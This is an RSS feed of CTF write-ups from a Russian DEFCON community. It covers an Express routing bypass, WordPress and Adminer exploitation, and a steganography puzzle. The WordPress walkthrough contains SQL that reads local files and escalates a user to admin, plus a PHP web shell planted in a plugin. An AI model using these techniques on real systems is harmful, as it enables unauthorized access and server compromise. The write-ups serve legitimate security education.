<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>DC78422 | DEFCON Ульяновск</title>
    <description>DC78422 - сообщество, объединяющее людей, интересующихся изучением и необычным применением современных технологий, часто в направлении информационной безопасности — то есть всем, что понимается в широком положительном смысле слова «хакинг».
</description>
    <link>https://dc78422.ru</link>
    <atom:link href="https://dc78422.ru/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Thu, 26 Mar 2026 20:16:04 +0000</pubDate>
    <lastBuildDate>Thu, 26 Mar 2026 20:16:04 +0000</lastBuildDate>
    <generator>Jekyll v3.2.0</generator>
    
      <item>
        <title>Разбор заданий по вебу с DC78422 CTF0 (часьть 2 с кодревью)</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Данное описание подготовлено и публикуется со слов победителя CTF этих заданий – &lt;a href=&quot;https://t.me/thairullov&quot;&gt;Тальгата Хайруллова&lt;/a&gt;.
Дальше текст передается as-is, правда иногда будут вставлять цитаты с пояснением зачем то или иное задание.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;section&quot;&gt;А ты точно девопс?&lt;/h2&gt;

&lt;p&gt;Задание отправляет нас изучать &lt;a href=&quot;https://gitlab.com/-/snippets/2566202/raw/main/docker-compose.yml&quot;&gt;docker-compose.yml&lt;/a&gt; файл.&lt;/p&gt;

&lt;p&gt;Первое, за что цепляется взгляд - секция с секретами. Дальше название самих сервисов &lt;code class=&quot;highlighter-rouge&quot;&gt;website.production&lt;/code&gt; и &lt;code class=&quot;highlighter-rouge&quot;&gt;website.staging&lt;/code&gt; и их описание не оставляет сомнений: на одном сервере бегут сразу и production и staging версия приложения с одними и теми же секретами. При этом staging версия запущена не в PRODUCTION режиме, как правило это, означает, что приложение будет более “открытым” и потенциально более уязвимым, что в итоге может привести к компрометации production версии.&lt;/p&gt;

&lt;h2 id=&quot;section-1&quot;&gt;жс&lt;/h2&gt;

&lt;p&gt;Задание встречает нас кусом кода на JavaScript и утверждением, что код дырявый. Беглый анализ кода подсказывает, что код написан под NodeJS, используется фреймворк express, в коде реализована некая проверка токена доступа, предполагаю, что в ней и есть основная проблема.
Несмотря на то, что писать на express не приходилось, код кажется понятным и на первый взгляд выглядит хорошо.&lt;/p&gt;

&lt;p&gt;Первая идея - что-то не так с middleware, возможно middleware с проверкой токена доступа отрабатывает позже чем обработка &lt;code class=&quot;highlighter-rouge&quot;&gt;/api&lt;/code&gt; или вовсе не отрабатывает. Потребовалось чтение официальной &lt;a href=&quot;https://expressjs.com/en/4x/api.html&quot;&gt;документации&lt;/a&gt;, чтобы опровергнуть эту идею. Однако там же нахожу важную особенность express, оказывается, роутинг express по умолчанию &lt;strong&gt;регистроНЕзависимый&lt;/strong&gt;, таким образом запросы вида &lt;code class=&quot;highlighter-rouge&quot;&gt;/API&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;/Api&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;/aPi&lt;/code&gt; тоже должны обрабатываться. А вот это уже серьезная проблема для кода из задания, чтобы подтвердить наличие проблемы, остается убедиться, что метод &lt;code class=&quot;highlighter-rouge&quot;&gt;startsWith&lt;/code&gt; регистрозависимый, иду в &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith#description&quot;&gt;MDN&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;String.prototype.startsWith()
This method lets you determine whether or not a string begins with another string. This method is case-sensitive.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Итого: запросы вида &lt;code class=&quot;highlighter-rouge&quot;&gt;/API&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;/Api&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;/aPi&lt;/code&gt;  проходят мимо проверки токена доступа.&lt;/p&gt;

</description>
        <pubDate>Wed, 02 Aug 2023 00:00:05 +0000</pubDate>
        <link>https://dc78422.ru/writeup/2023/08/02/ctf0-web-vol2.html</link>
        <guid isPermaLink="true">https://dc78422.ru/writeup/2023/08/02/ctf0-web-vol2.html</guid>
        
        
        <category>writeup</category>
        
      </item>
    
      <item>
        <title>Разбор заданий по вебу с DC78422 CTF0 (часьть 1)</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Данное описание подготовлено и публикуется со слов победителя CTF этих заданий – &lt;a href=&quot;https://t.me/thairullov&quot;&gt;Тальгата Хайруллова&lt;/a&gt;.
Дальше текст передается as-is, правда иногда будут вставлять цитаты с пояснением зачем то или иное задание.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;section&quot;&gt;Роботы&lt;/h2&gt;

&lt;p&gt;Первая мысль после прочтения задания - файл robots.txt.
Проверяем: hxxp://91.240.84.252:31337/robots.txt&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//88dec275ee8d45c9fae1d6dcf4b98fd0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Бинго, флаг найден.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Это задание на самом деле часть изначальной разведки для будущих заданий. Файл robots.txt есть почти у всех сайтов и его использую чтобы что-то спрятать или что-то, ноборот показать поисковикам. И часто в этот файл попадает что-то что может быть чувствительным или раскрыть информацию об используемой системе. Например, во второй строке &lt;code class=&quot;highlighter-rouge&quot;&gt;/wp-admin&lt;/code&gt; мы можем увидеть что тут используется скорее всего Wordpress, а от этого можно и “плясать дальше”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;section-1&quot;&gt;дамп&lt;/h2&gt;

&lt;p&gt;Бэкграунд в области web разработки, сразу же подсказывает мне следующие популярные имена файлов для дампа:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;dump.(tgz|zip|sql|tar|tar.gz)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;backup.(tgz|zip|sql|tar|tar.gz)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Проверяю вариант dump.sql: hxxp://91.240.84.252:31337/dump.sql&lt;/p&gt;

&lt;p&gt;В ответ получаю файл с содержимым:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//bb49c3e819f8b2d0c338d58645e5de06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Флаг найден, переходим к следующему заданию.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Да, к сожалению, разработчики оставляют много файлов в корне проекта. Действительно, перебирать все имена файлов рукаами – дело не самое благородное. Поэтому можно воспользоваться готовыми списками имен файлов, содержащими частоиспользуесые имена, например, &lt;a href=&quot;https://github.com/Bo0oM/fuzz.txt&quot;&gt;fuzz.txt&lt;/a&gt; и утилитой &lt;a href=&quot;https://www.kali.org/tools/dirb/&quot;&gt;dirb&lt;/a&gt; для автоматизации перебора.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;section-2&quot;&gt;Без регистрации и смс&lt;/h2&gt;

&lt;p&gt;Задание предлагает нам попытаться скачать статический файл. Перехожу по ссылке из задания, на этот раз страница явно не на wordpress. В теле страницы ссылка на &lt;code class=&quot;highlighter-rouge&quot;&gt;/static/welcome.txt&lt;/code&gt;. Исходя из задания нужный нам файл должен быть по адресу &lt;code class=&quot;highlighter-rouge&quot;&gt;/flag.txt&lt;/code&gt;.
Проверяю в лоб: hxxp://91.240.84.252:3000/flag.txt. В ответ, ожидаемо: &lt;code class=&quot;highlighter-rouge&quot;&gt;404 Not Found&lt;/code&gt; и информация о веб-сервере: &lt;code class=&quot;highlighter-rouge&quot;&gt;nginx/1.25.1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Пробую еще один вариант в лоб, вот так: &lt;code class=&quot;highlighter-rouge&quot;&gt;/static/../flag.txt&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;hxxp://91.240.84.252:3000/static/../flag.txt&lt;/code&gt; и  ответ, ожидаемо: &lt;code class=&quot;highlighter-rouge&quot;&gt;404 Not Found&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Поиск в google по версии nginx, подсказывает, что версия достаточно свежая, так что варианты связанные с уязвимостью в самом веб-сервере отбрасываю. Решил рассмотреть возможные варианты с ошибками конфигурации. Поиск привел меня на &lt;a href=&quot;https://infosecwriteups.com/hacking-nginx-best-ways-7c576cc17ccc&quot;&gt;статью&lt;/a&gt; в блоге, где среди прочих ошибок была описана ошибка с недостаточно конфигурацией: &lt;code class=&quot;highlighter-rouge&quot;&gt;Alias LFI Misconfiguration&lt;/code&gt;. Исходя из описания, нужно сформировать URL вот таким образом: &lt;code class=&quot;highlighter-rouge&quot;&gt;/static../flag.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Проверяю: hxxp://91.240.84.252:3000/static../flag.txt&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//b95563875a133906131296a999643e7d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Есть, флаг найден!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Кстати, вы можете проверить свою конфигурацию утилитой &lt;a href=&quot;https://github.com/yandex/gixy&quot;&gt;gixy&lt;/a&gt; от Яндекса на подобные проблемы мисконфигураций.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;section-3&quot;&gt;Тесты на проде&lt;/h2&gt;

&lt;p&gt;Последнее задание в секции web, намекает нам, что у разработчиков был доступ к проду и они наверняка там наследили. Опыт в web разработки на PHP сразу подсказывает проверить различные варианты:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/i.php&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/info.php&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/test.php&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/phpmyadmin&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/adminer&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/adminer.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Проверяю &lt;code class=&quot;highlighter-rouge&quot;&gt;/info.php&lt;/code&gt; hxxp://91.240.84.252:31337/info.php&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//6f4e945081ba738e82a18aa18f067e12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Разработчики забыли файл &lt;code class=&quot;highlighter-rouge&quot;&gt;info.php&lt;/code&gt;, раскрывающий много информации о PHP и окружении в котором он запущен. По какой-то причине в первую очередь спешу посмотреть переменные окружения, кажется, что там может быть что-то интересное:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//149d8d289c7e5df48751f35978e01bc4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Но никаких секретов там нет(.
Пробегаю глазами по всему phpinfo, попутно отмечаю для себя список расширений PHP, версии системных библиотек, пути к конфигам и текущему исполняемому файлу. Все примерно ожидаемое, за исключением &lt;code class=&quot;highlighter-rouge&quot;&gt;/var/www/html/php.ini&lt;/code&gt;, файл конфигурации PHP лежит в корне сайта, это обязательно надо посмотреть: hxxp://91.240.84.252:31337/php.ini&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//6581313827df69c485a5b879378170e9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;К сожалению тут тоже ничего интересного.&lt;/p&gt;

&lt;p&gt;Проверяю &lt;code class=&quot;highlighter-rouge&quot;&gt;/adminer&lt;/code&gt; hxxp://91.240.84.252:31337/adminer.php&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//0f5594789fe0b443d7fd3f7121661ef4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Adminer - это инструмент для управления БД через web. Разработчики любят его за простоту дистрибуции, достаточно положить один файлик в корень и все готово. Уже знаком с adminer и наслышан про проблемы с безопасностью, а тут еще сам интерфейс adminer кричит, о том, что это не самая свежая версия.&lt;/p&gt;

&lt;p&gt;Поиск в интернете помогает освежить в памяти все CVE по adminer, среди которых есть &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2021-43008/&quot;&gt;CVE-2021-43008&lt;/a&gt;.  Adminer до 4.6.3 дает возможность подключиться к удаленному серверу и разрешает выполнять запросы вида  &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/load-data.html&quot;&gt;LOAD DATA Statement&lt;/a&gt;.
Таким образом мы можем развернуть свой MySQL сервер, к которому выполним подключение через adminer и будем читать локальные файлы, звучит очень интригующе. Весь процесс развертки MySQL сервера описывать не буду, вот пару ключевых моментов:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Необходимо &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-allow-remote-access-to-mysql&quot;&gt;разрешить удаленные подключения к серверу&lt;/a&gt;. По умолчанию подключиться к серверу БД можно только из localhost.&lt;/li&gt;
  &lt;li&gt;Включить поддержку &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html&quot;&gt;LOAD DATA LOCAL&lt;/a&gt;. Несмотря на то, что чтение файлы выполняется на клиенте, запрос не будет отрабатывать, если на сервере явно не включить поддержку.&lt;/li&gt;
  &lt;li&gt;Для задания пароля пользователя БД нужно использовать &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/native-pluggable-authentication.html&quot;&gt;mysql_native_password&lt;/a&gt; метод, в противном случае adminer не сможет подключиться.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Все готово, пробую подключиться:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//faa54d4ec26fe1588073e9c8eb59df49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Отлично, подключение выполнено, не терпится что-нибудь прочитать с сервера. Для этого использую следующий SQL запрос:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;DROP&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IF&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;EXISTS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mysql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mysql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;LOAD&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;DATA&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LOCAL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INFILE&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;path&amp;gt;'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;INTO&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mysql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mysql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Где &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;path&amp;gt;&lt;/code&gt; - путь к файлу. Пробую прочитать разное, например &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt;, работает. Но пока нет понимания, что именно нужно прочитать, чтобы получить флаг.&lt;/p&gt;

&lt;p&gt;Дальше помогает ранее изученный &lt;code class=&quot;highlighter-rouge&quot;&gt;phpinfo()&lt;/code&gt;, который раскрывает путь до приложения и знание самого движка wordpress, настройки которого как правило лежат в файле &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//1ab472ce0c926fe25b7fd8d42c95dda6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Отсюда получаем доступы к БД приложения, подключаемся:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//8ea0d43f238270c9824861743dbaeb72.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Поиск флага по данным в таблицах не дал результата. Решаюсь получить доступ к панели администратора wordpress, смотрю таблицу &lt;code class=&quot;highlighter-rouge&quot;&gt;wp_users&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//5503f45199dcc0ea9ed12104d2964b8d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Мне не хотелось сильно следить, поэтому сначала рассматриваю варианты получить доступ без серьезных изменений в БД. Тут внимание притягивает md5 хеш пароля от пользователя CTF. Проверяю хеш через crackstation.net, получаю пароль: &lt;code class=&quot;highlighter-rouge&quot;&gt;CTF&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Входим в админку: htxx://91.240.84.252:31337/wp-login.php&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//0539a28a3a86d3ed765c50a8cf1a42d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Видим интерфейс управления:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//46ea23cbb0afd0087fca11ae8337eebf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Поиски флага в интерфейсе тоже безуспешны. При этом стало понятно, что доступ у нас ограниченный. Опять же менять пароль пользователя &lt;code class=&quot;highlighter-rouge&quot;&gt;admin&lt;/code&gt; мне хотелось, поэтому повысил доступы пользователя &lt;code class=&quot;highlighter-rouge&quot;&gt;CTF&lt;/code&gt; через БД, для этого выполняю следующие SQL запросы:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wp_usermeta&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;REPLACE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;INTO&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wp_usermeta&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;meta_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;meta_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;meta_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;meta_value&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wp_usermeta&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;где:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;user_id = 2 - пользователь CTF&lt;/li&gt;
  &lt;li&gt;user_id = 1- пользователь admin&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Готово, заново логинимся, видим более продвинутый интерфейс:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//d97b35d1b6d31aa12399ac8350154c82.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Здесь мое внимание притягивает Edit Plugins. Это редактор кода плагинов, таким образом мы можем внедрить свой PHP код. Пробую внести изменения в файл &lt;code class=&quot;highlighter-rouge&quot;&gt;akismet/akismet.php&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//8983e6552854c9a64a131d4d072ec75c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Редактор сходу подсказывает, что плагин akismet неактивен, так что видимо придется его позже еще и активировать. Добавляю следующий код:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (isset($_REQUEST['__cmd'])) {
    exec($_REQUEST['__cmd'], $output);
    
    echo &quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;&quot;;    
    print_r($output);
    echo &quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&quot;;
    die('done');
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;И активирую плагин. Теперь, если все правильно, запрос вида &lt;code class=&quot;highlighter-rouge&quot;&gt;/?__cmd=ls -la /var/www/html&lt;/code&gt;, должен вернуть список файлов и директорий в &lt;code class=&quot;highlighter-rouge&quot;&gt;/var/www/html&lt;/code&gt;. Проверяю: &lt;code class=&quot;highlighter-rouge&quot;&gt;hxxp://91.240.84.252:31337/?__cmd=ls%20-la%20/var/www/html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//da47d2128896242377e9d6c34971b2d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Отлично, все работает. Мое внимание притягивает директория &lt;code class=&quot;highlighter-rouge&quot;&gt;/test&lt;/code&gt;, которой тут не должно было быть. Смотрю что там: &lt;code class=&quot;highlighter-rouge&quot;&gt;hxxp://91.240.84.252:31337/?__cmd=ls%20-la%20/var/www/html/test&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//a931a7addb229699fe3717f8e5f75a63.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Интересно, смотрю содержимое файла: &lt;code class=&quot;highlighter-rouge&quot;&gt;hxxp://91.240.84.252:31337/?__cmd=cat%20/var/www/html/test/index.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com//934fbb8f65683b87f53bd7c35f32c1c9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;А вот и флаг.&lt;/p&gt;

&lt;p&gt;Да директорию &lt;code class=&quot;highlighter-rouge&quot;&gt;/test&lt;/code&gt; можно было прощупать еще на первом этапе, тоже типичное название для тестов на проде, в таком случае путь до флага был бы короче, его можно было прочитать через через &lt;code class=&quot;highlighter-rouge&quot;&gt;LOAD DATA LOCAL&lt;/code&gt; в adminer.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Для исследования WordPress сайтов можете так же пользоваться утилитой &lt;a href=&quot;https://github.com/wpscanteam/wpscan&quot;&gt;WPScan&lt;/a&gt;. Она тоже может подсказать что прикольное.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 02 Aug 2023 00:00:01 +0000</pubDate>
        <link>https://dc78422.ru/writeup/2023/08/02/ctf0-web.html</link>
        <guid isPermaLink="true">https://dc78422.ru/writeup/2023/08/02/ctf0-web.html</guid>
        
        
        <category>writeup</category>
        
      </item>
    
      <item>
        <title>Разбор заданий по стенографии с DC78422 CTF0</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Данное описание подготовлено и публикуется со слов создателя этих заданий – &lt;a href=&quot;https://t.me/KainSamara&quot;&gt;Sergey Nord&lt;/a&gt; (&lt;a href=&quot;https://t.me/rottenmechanism&quot;&gt;@rottenmechanism&lt;/a&gt;).
Дальше текст передается as-is.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;1) Наше путешествие начинается с QR кода&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/f674302ee37a668edb034e90b8402c10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;переходим по нему и попадаем на https://telegra.ph/Wake-up-Neo-07-05&lt;/p&gt;

&lt;p&gt;2) внимательно осмотрев страницу видим 2 пути:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/48c43b1f19cd7f91f7d8b0c62827ce50.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Самый очевидный - перейти по ссылке под картинкой с кроликом на &lt;code class=&quot;highlighter-rouge&quot;&gt;drive.google.com/file/d/1LVzPeTM4njooOSCJ5QqCSEZ-8e4v9rkz&lt;/code&gt; и второй менее очевидный - спрятанная ссылка на &lt;code class=&quot;highlighter-rouge&quot;&gt;https://pastebin.com/84WBMkVg&lt;/code&gt; в нижнем подчёркивании после знака вопроса. Сначала пройдём по первому пути&lt;/p&gt;

&lt;p&gt;3) Проходим на гугл диск и видим ту же картинку с кроликом, скачиваем её и начинаем анализировать&lt;/p&gt;

&lt;p&gt;4)Открываем картинку текстовым редактором и в конце видим:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/af022fa94bb887ce8d6095c1c3b85529.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;flag{F0llowTh3WhiteR4bbit}&lt;/code&gt; уу, первый флаг&lt;/p&gt;

&lt;p&gt;А также продолжение в виде HEX кода&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;68 74 74 70 73 3A 2F 2F 74 69 6E 79 75 72 6C 2E 63 6F 6D 2F 79 65 36 37 34 61 38 38&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;5) Делаем преобразование HEX-&amp;gt;ASCII и получаем &lt;code class=&quot;highlighter-rouge&quot;&gt;https://tinyurl.com/ye674a88&lt;/code&gt; ссылка ведёт на гугл диск с архивом, скачиваем и получаем &lt;code class=&quot;highlighter-rouge&quot;&gt;Z1ON.rar&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;6) Архив запаролен, стандартные не подходят и брут не эффективен, пока что оставим его и порешаем второй путь&lt;/p&gt;

&lt;p&gt;7)Переходим на pastebin и видим строку &lt;code class=&quot;highlighter-rouge&quot;&gt;cGJieGE6Ly9rdGtzLnpjLzM0Y1o4VAo=&lt;/code&gt; очевидно это base64, декодируем и получаем &lt;code class=&quot;highlighter-rouge&quot;&gt;pbbxa://ktks.zc/34cZ8T&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;8) Похоже на ссылку, но перепутаны буквы, воспользуемся шифром Цезаря ROT8 &lt;code class=&quot;highlighter-rouge&quot;&gt;https://clck.ru/34uR8L&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;9) Ссылка ведёт на картинку на том же гугл диске, скачиваем её&lt;/p&gt;

